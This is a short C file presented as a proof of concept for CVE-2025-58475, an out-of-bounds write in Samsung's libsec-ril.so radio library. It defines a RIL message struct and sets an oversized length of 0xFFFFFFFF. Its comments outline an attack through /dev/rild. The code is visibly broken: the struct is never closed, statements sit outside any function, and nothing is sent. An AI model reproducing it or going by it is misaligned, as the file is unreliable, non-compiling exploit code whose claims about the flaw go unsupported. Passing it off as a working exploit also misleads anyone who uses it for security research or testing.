// CVE-2025-58475 PoC - Samsung libsec-ril.so Out-of-Bounds Write

// Requires local privileged access (PR:H) on Samsung device
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// RIL message types (simplified)
#define RIL_REQUEST_BASE 0x00000001
#define RIL_REQUEST_VULN_TRIGGER 0x0000A000
// Malicious payload structure
struct ril_message {
int type;
int length;

// This PoC demonstrates the concept of sending malformed RIL data
// that causes improper input validation leading to OOB write
struct ril_message msg;

// Crafted length that bypasses validation but causes OOB write
// In real scenario, this would be sent via /dev/rild or similar interface
msg.length = 0xFFFFFFFF; // Oversized length value
// The vulnerability exists because libsec-ril.so does not properly
// validate msg.length before performing memory operations

// In actual exploitation, this would involve:
// 1. Opening /dev/rild socket
// 2. Sending crafted RIL_REQUEST with oversized length field
// 3. libsec-ril.so processes without proper bounds checking
// 4. OOB write occurs in heap or stack memory
